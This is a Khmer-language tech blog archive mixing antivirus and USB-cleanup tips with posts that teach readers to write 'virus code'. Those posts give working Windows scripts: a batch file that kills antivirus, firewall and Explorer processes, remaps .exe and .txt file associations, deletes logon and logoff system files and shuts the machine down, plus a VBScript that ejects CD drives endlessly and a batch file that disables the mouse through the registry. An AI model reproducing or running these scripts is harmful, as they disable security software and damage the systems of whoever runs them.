– USB Devices in read only mode: USB បានអនុញ្ញាតអោយភ្ជាប់ជាមួយកុំព្យូទ័រ ប៉ុន្តែមិន អាចអានទិន្នន័យបានលឿន។
– USB Devices disactivated: USB មិនអាចភ្ជាប់ជាមួយកុំព្យូទ័រ។

ធ្វើដូចម្តេចដើម្បីកំចាត់មេរោគពី កុំព្យូទ័រ

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

តើលោកអ្នកធ្លាប់ឃើញសារមួយដែលនិយាយថា : virus was detected ឬ your computer seems slow and unreliable ដែររឺទេ ? ខាងក្រោមនេះ យើងនឹងឃើញអំពីវិធីក្នុងការដោះស្រាយ មេរោគ និង malware ទាំងនេះ អោយចេញពី PC របស់អ្នក ។ នៅពេលដែលមេរោគជាច្រើននិងប្រភេទផ្សេងទៀតនៃ malware បានបំលែងខ្លួនកាន់តែច្រើនទៅៗ នោះបណ្តាលឲ្យម៉ាស៊ីនរបស់លោកអ្នក ពិបាកក្នុងការប្រើប្រាស់ ។ ម្យ៉ាងវិញទៀត malware កើតឡើងដោយសារតែ ឧក្រិដ្ឋជន ដែលរៀបចំឡើងដើម្បីលួចលេខកាតឥណទាន និងទិន្នន័យផ្សេងទៀតដែលប្រើប្រាស់ password ជាអក្សរតូចធំ ជាដើម។

តើអ្នកការពារកុំព្យូទ័រ(Antivirus)របស់អ្នកពិតជាអាចកំចាត់មេរោគបាន ឬទេ ? ប្រសិនបើ អ្នកបានឃើញសារមួយលេចឡើងដែលនិយាយថា : virus was detected , វាគឺជាការល្អណាស់ ។ ទោះបីជា Antivirus របស់អ្នកឃើញសារបែបនេះក្តី តែក៏មិនប្រាកដថាពិជាបានលុបចោលនូវមេរោគទាំងនោះទេ វាលាក់មិនអោយយើងឃើញក៏មាន។ ប្រភេទនៃសារ មិនមែនសុទ្ធតែដូចទៅនឹងអីដែលវាលេចចេញប្រាប់នោះទេ ។ លោកអ្នកអាចធ្វើការ downloaded ជាមួយនឹង file មួយចំនួនដែលពេលខ្លះមានភ្ជាប់ជាមួយនឹងមេរោគដូចនេះលោកអ្នកត្រូវ ប្រាកដថាកម្មវិធីកំចាត់ មេរោគរបស់អ្នកពិតជាអាចការពារ និង បំផ្លាញមេរោគទាំងនោះមុនពេលអ្នកយកវាមកប្រើប្រាស់ ។
នៅក្នុង ពាក្យផ្សេងទៀតដែលដូចជា “virus detected” ដែលវាលេចឡើងខណៈពេលដែរអ្នកកំពុងប្រើប្រាស់ជាលក្ខណធម្មតានោះ មានន័យថាកុំព្យូទ័ររបស់អ្នកត្រូវបានឆ្លងមេរោគដែលមិនធ្លាប់មាន ពីមុន ។ ប្រសិនបើអ្នកឃើញសារបែបនេះក្នុង ខណៈពេលដែលអ្នកកំពុងតែទស្សនា web page ណាមួយនេះ ឬ កំពុងធ្វើការ download file ដែលមាន ទាំងនេះ សូមលោកអ្នកកុំបារម្ភពេក និង ព្យាយាមជៀសវាងពីវា ។ អ្នកក៏អាចចូលទៅកាន់កម្មវិធី Antivirus របស់អ្នកនិងពិនិត្យមើល quarantine របស់ខ្លួនបានដែរ។

ប្រសិនជាអ្នកមិនអាច Run Antiviru របស់អ្នកប្រសិនបើអ្នកមិនអាចដំណើការ antivirus ហើយកុំព្យូទ័ររបស់អ្នកយឺតនោះមានន័យវាមាន virus នៅក្នុង កុំព្យូទ័ររបស់អ្នក ។
ប្រសិនបើអ្នកមិនមាន Antivirus មួយដែលបានដំឡើងអ្នកគួរតែព្យាយាមដំឡើងវាមួយភ្លាមដើម្បីការពារ ម៉ាស៊ីនរបស់អ្នក។ ហើយកម្មវិធីកំចាត់មេរោគ មានលក្ខណខុសៗ ដែលលោកអ្នកអាចធ្វើការ Download យកមកប្រើប្រាស់។ Antivirus មានគោលដៅមួយដែលអាចជួួយបោសសំអាតមេរោគនិងដោះស្រាយ របស់អ្នក បន្ទាប់ពីអ្នកដំឡើងវា ។

ប្រសិនជា Antivirus មិនអាចកំចាត់ មេរោគបាន ប្រសិនបើអ្នកមានកម្មវិធី Antivirus បានដំឡើងប៉ុន្តែអ្នកគិតថាវាមិនអាចកំចាត់មេរោគបានហើយ មិនអាចរកឃើញមេរោគទេនោះ អ្នកអាចមានជម្រើសក្នុងការជ្រើសរើស Antivirus មួយផ្សេងទៀតមកប្រើ
ប្រាស់ ។ ប្រភេទនៃ Antivirus មួយដែលផ្តល់ឲ្យអ្នកក្នុងការ Scan កុំព្យូទ័ររបស់អ្នក ឧទាហរណ៍ ESET Online Scanner ជាដើម។ ប្រសិនជា scanner មាន នោះលោកអ្នក អាចធ្វើការ Remove វាដោយប្រើប្រាស់ scanning tool ។

មេរោគមួយចំនួននិងប្រភេទផ្សេងទៀតនៃ malware ដែលវាបានធ្វើការវាយចូលទៅក្នុង ប្រព័ន្ធរបស់អ្នក ដូចនេះហើយវាពិបាកក្នុងការ Remove ជាពិសេស កម្មវិធី កំចាត់មេរោគដែលអ្នកដំឡើងក្រោយពេលដែលកុំព្យូទ័ររបស់អ្នកមានឆ្លង់ មេរោគរួចស្រេចហើយ។ ការចូលទៅក្នុង Safe Mode អាចជួយអ្នកបាន ។ ក្នុង Safe Mode , Wiundow មិនបានបង្ហាញ ផ្នែកទាំងបីនៃ softwear ដូចនេះអ្នកអាចដំណើការ កម្មវិធី antivirus របស់អ្នក ដោយមិនមានពាក់ព័ន្ធនឹង virus ។ ដើម្បីចាប់ផ្ដើមចូលទៅក្នុង Safe Mode បន្ទាប់មកចុច restart កុំព្យូទ័ររបស់អ្នក ហើយចុច F8 ដើម្បីចូលក្នុង Boot ។ ជ្រើសរើស Safe Mode option ក្នុង boot options menu បន្ទាប់មកសូមចុច Enter key ។ ដំណើការ កម្មវិធី antivirus ក្នុង Safe Mode បន្ទាន់មក Restart ។ បន្ទាប់ពីធ្វើការ Restart ហើយសូមព្យាយាមធ្វើម្តងទៀត ។ ប្រសិនបើលោកអ្នកមាន Internet ដើម្បីដំណើរការ Safe Mode នេះជាមួយនឹង ប្រព័ន្ធ ក្នុង boot options menu ។ ប្រសិនបើ antivirus នៅតែមិនដំណើរការ អ្នកអាចព្យាយាម boot វាជាមួយ antivirus rescue CD ។ ម្យ៉ាងវិញទៀត boot ក្នុង rescue CD , Antivirus និងធ្វើការសម្អាតក្នុង environment ។ មួយវិញទៀតវាអាចធ្វើការ Scan hard drive ខណៈពេលដែលមេរោគកំពុង វាយលុកចូលក្នុង Hard drive នោះ ៕

លប់មេរោគពីក្នុង Flash

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

មេរោគកុំព្យូទ័រនៅតែបន្តចោទជាបញ្ហានៅឡើយ ក្នុងពេលបច្ចុប្បន្ន។ ប្រិយមិត្តប្រាកដជា បានដឹង ទោះមិនច្រើន ក៏មានសញ្ញាណខ្លះៗអំពីមេរោគ ដែលនឹងបង្កផលប៉ះពាល់ដល់ម៉ាស៊ីន ជូនប្រើៗគាំង ចេញសារប្លែកៗ ដំណើរការកាន់តែយឺតទៅៗ រហូត restart ដោយខ្លួនឯងក៏មាន។

កាន់តែធ្ងន់ធ្ងរទៀតនោះ មេរោគអាចបំផ្លាញឯកសារនៅក្នុងកុំព្យូទ័រ មិនថាឯកសារការងារ ឬមួយកម្មវិធីទេ។ ដូច្នេះរាល់ម្ចាស់កុំព្យូទ័រទាំងឡាយតែងប្រុងប្រយ័ត្នបំផុតចំពោះ ការទប់ស្កាត់ពីមេរោគ។ ប្រភពចម្បង បន្ទាប់ពីឆ្លងតាមអ៊ីនធឺណិតនោះ គឺការដោត flash ដើម្បី copy ឯកសារដោយមិនបានប្រុងប្រយ័ត្នដែលផ្ដល់ឱកាសឱ្យមេរោគឆ្លងចូលទៅ ម៉ាស៊ីន។
មេរោគឆ្លងបានដោយសារកត្តាមួយចំនួនដូចជា ឆ្លងដោយសារមុខងារ USB autorun បើកចោលជាដើម។ មេរោគនៅលើ USB ជាច្រើន អាចបង្កផលប៉ះពាល់ដល់កុំព្យូទ័រ ហើយយើងក៏មិនអាចបញ្ឈប់ដំណើរការរបស់វាបាន។ ដូច្នេះ អ្នកប្រើជាច្រើន ប្រសិនមេរោគរាតត្បាតយ៉ាងខ្លាំងនៅក្នុងកុំព្យូទ័របស់ខ្លួនហើយនោះ មុខជា Format កុំព្យូទ័រហើយមែនទេ។ ខាងក្រោមនេះជា USB virus ល្បីបំផុតប្រចាំនៅ Windows 7, Vista និង XP:
– Autorun.inf
– Ravmon.exe
– New Folder.exe
– svchost.exe
– Heap41a
– Flash_Disinfector.exe
– boot.exe
– 3B_password_viewer.exe
– iph.exe
– unvise32.exe
– bad1.exe bad2.exe bad3.exe
– msmsg.exe
– system.exe
– newfolder.exe
– ពេលដោត flash ចូលហើយ សូមកុំទាន់បើកចូលទៅយកឯកសារដោយផ្ទាល់។ នៅពេលដោត flash ចូលទៅកុំព្យូទ័រ នោះនឹងបង្ហាញផ្ទាំងថ្មីមួយគឺ AutoPlay។ ដើម្បីជៀសវាងឆ្លង virus សូមកុំចុចឱ្យដំណើរការកម្មវិធីណាមួយឱ្យសោះ ពោលគ្រាន់តែបិទចោលវិញដោយចុចខ្វែងក្រហម ហើយអនុវត្តតាមជំហានបន្តទៀតដូចខាងក្រោម៖

បង្ហាញឯកសារលាក់ក្នុង Flash

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

ជាទូទៅអ្នកប្រើប្រាស់កុំព្យូទ័រតែងតែជួបប្រទះការវាយប្រហារពី សំណាក់ មេរោគផ្សេងៗ ជាពិសេសFlash របស់អ្នកគឺជាភ្នាក់ងារចម្លងមួយដ៏គ្រោះថ្នាក់។ ក្រោយពេលឆ្លងមេរោគ រាល់ឯកសារ ក៏ដូចជា ទិន្នន័យផ្សេងៗត្រូវបានកែប្រែទៅជាឯកសារ .exe ឬត្រូវបានលាក់ បាត់តែម្តង។ អ្នកប្រើប្រាស់មួយចំនួនយល់ថា មេរោគបានស៊ីឯកសារអស់ទៅហើយ តែតាមពិត វាគ្រាន់តែបំលែងឯកសារនោះ ហើយលាក់ឯកសារដើមតែប៉ុណ្ណោះ។
តើធ្វើយ៉ាងម៉េចទើបអាចបង្ហាញ ឯកសារដើមក្នុងStorage Device ផ្សេងមកវិញបាន? ជាការពិតមធ្យោបាយក្នុងការបង្ហាញHidden File មានច្រើន ប៉ុន្តែយើងសូមលើកយកវិធីសាស្ត្រមួយមកបង្ហាញជូន សូមអនុវត្តតាមជំហ៊ានងាយៗដូចខាងក្រោម៖
១- វាយអក្សរ cmd នៅក្នុងប្រអប់ Search រួចចុច Enter

២- វាយឈ្មោះ Drive របស់ Flash អ្នក។

ឧទាហរណ៍ថា Flash របស់អ្នកគឺ Drive i: ដូច្នេះត្រូវវាយ i: រួចចុច Enter
៣-វាយអក្សរ attrib -a -s -h *. /s /d
រួចចុច Enter ហើយរង់ចាំមួយភ្លេត រាល់ឯកសារលាក់ទាំងប៉ុន្មាននឹងត្រូវបង្ហាញវិញ។
រួចវាយ Exit ជាការស្រេច។

កូដមេរោគដែល Hack កុំព្យួទ័រ

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

កូដមេរោគ ខាងក្រោមនេះឈ្មោះថា myDAN ដែលមានសមត្ថភាព:
បិទ Process របស់ NAVAPSVC.exe
បិទ Process របស់ Explorer.exe (taskbarនិង icons នឹងត្រូវបានបិទមិនឃើញ)

បិទ Process របស់ zonelabs.exe
ឱ្យតែកម្មវិធីណាដែលជាប្រភេទ txt file ដែលមានកន្ទុយ exe នោះវានឹងបើកម្មវិធី notepad ភ្លាម
ឱ្យតែកម្មវិធីណាដែលជាប្រភេទ mp3 file ដែលមានកន្ទុយ txt នោះវានឹងបើកកម្មវិធិ Winamp ឬ WMP ភ្លាម
លុប Login/Logoff នៅលើអេក្រង់

អនុវត្តន៍
បើកម្មវិធី Notepad រួចសរសេរកូដខាងក្រោមៈ
color 0A
@echo off
set end=md “u cant eascape from me-vishnu”
set fin=copy “Hack log.txt” “Installing”
%end%
%fin%
net send * andhra pradesh- virus created in karimnagar from jits college
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
assoc .mp3=.vcf
cls
msg * hi dude this is begining.
msg * vishnu attcked the system try to challenge him .
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown
បន្ទាប់មកសូមរក្សាទុកដោយដាក់ឈ្មោះថា installhack.bat

កូដមេរោគ បិទ/បើក CD/DVD ROOM

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

កូដមេរោគ បិទ/បើក CD/DVD ROOM ដោយស្វ័យប្រវត្តិ
ថ្ងៃនេះយើងនឹងឃើញ នូវរបៀបសរសេរ កូដមេរោគ បិទ/បើក CD/DVD ROOM ដោយស្វ័យប្រវត្តិ ដោយវិធីងាយៗ ។ បន្ទាប់ពីដំណើរការមេរោគមួយនេះហើយ វានឹងធ្វើការបិទ/បើក នូវ CD/DVD ROOM នៃកុំព្យួទ័ររបស់លោកអ្នក ដោយស្វ័យប្រវត្តិ និងឥតឈប់ឈរ។

ខាងក្រោមនេះជាកូដរបស់មេរោគ និងរបៀបអនុវត្ត
១. បើកកម្មវិធី Notepad រួចសរសេរកូដខាងក្រោម
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
២. ធ្វើការ រក្សាទុក (Save) ដោយដាក់ឈ្មោះថា virus.vbs

មេរោគបិទ Mouse មិនឱ្យដំណើរការ

Posted on by TEAV Chhun Nan (ទំនាក់ទំនង ផ្សាយពាណិជ្ជកម្ម 077778647-070778647)

សូមលោកអ្នកទស្សនាវីដេអូខាងក្រោមនេះ នោះលោកអ្នកនឹងបានឃើញកូដរបស់មេរោគ ដែលអាចបិទមិនឱ្យ Mouse របស់អ្នកដំណើរការបាន។

នៅពេលដែលលោកអ្នក Run កូដនេះ វានឹងទៅលុប Key មួយដែលមាននៅក្នុង Registry ។

បើក Notepad
សរសេរកូដខាងក្រោមចូល
រក្សាទុក (Save) ទុក រួចវាយឈ្មោះណាមួយដែលចង់ដាក់ជាមួយនឹងកន្ទុយ bat (yourfilename.bat)

rem ———————————
rem Disable Mouse
set key=”HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Mouclass”
reg delete %key%
reg add %key% /v Start /t REG_DWORD /d 4
rem ———————————
ទាញយកកូដ!

Categories: Hack And មេរោគ

IT KHMER PEOPLE

Learning And Researching about technology together.

Wednesday, June 10, 2015

Hack and Virus

Category Archives: រៀនកំចាត់មេរោគ

វិធី Scan files ឬ Folders

ធ្វើដូចម្តេចដឹងកុំព្យូទ័រមានមេរោគ

កំពូល Hacker ខ្លាំងៗប្រទេសណា?

ចាប់ខ្លួន Anonymous Cambodia ០២ នាក់

ប្រើ Avast 2014 Free

Scan with Windows Defender

អត្ថបទ Matrix ក្នុង Notepad

កូដ Virus សរសេរ C, C++

បង្កើតមេរោគ លប់ C:\ ចោល

កូដមេរោគ ចុចបង្កើត Folder

បង្កើតមេរោគអោយ Error

កូដសរសេរ គាំងម៉ាស៊ីន

បង្កើតមេរោគដោយ Notepad

ស្កាត់មេរោគពី USB ចូលក្នុងកុំព្យូទ័រ

ធ្វើដូចម្តេចដើម្បីកំចាត់មេរោគពី កុំព្យូទ័រ

លប់មេរោគពីក្នុង Flash

បង្ហាញឯកសារលាក់ក្នុង Flash

កូដមេរោគដែល Hack កុំព្យួទ័រ

កូដមេរោគ បិទ/បើក CD/DVD ROOM

មេរោគបិទ Mouse មិនឱ្យដំណើរការ

0 comments:

Post a Comment

Search

Popular Posts

Recent Posts

Categories

Sample Text

Blog Archive

Text Widget

Categories

About Me

Sample Text

Categories

Unordered List

Pages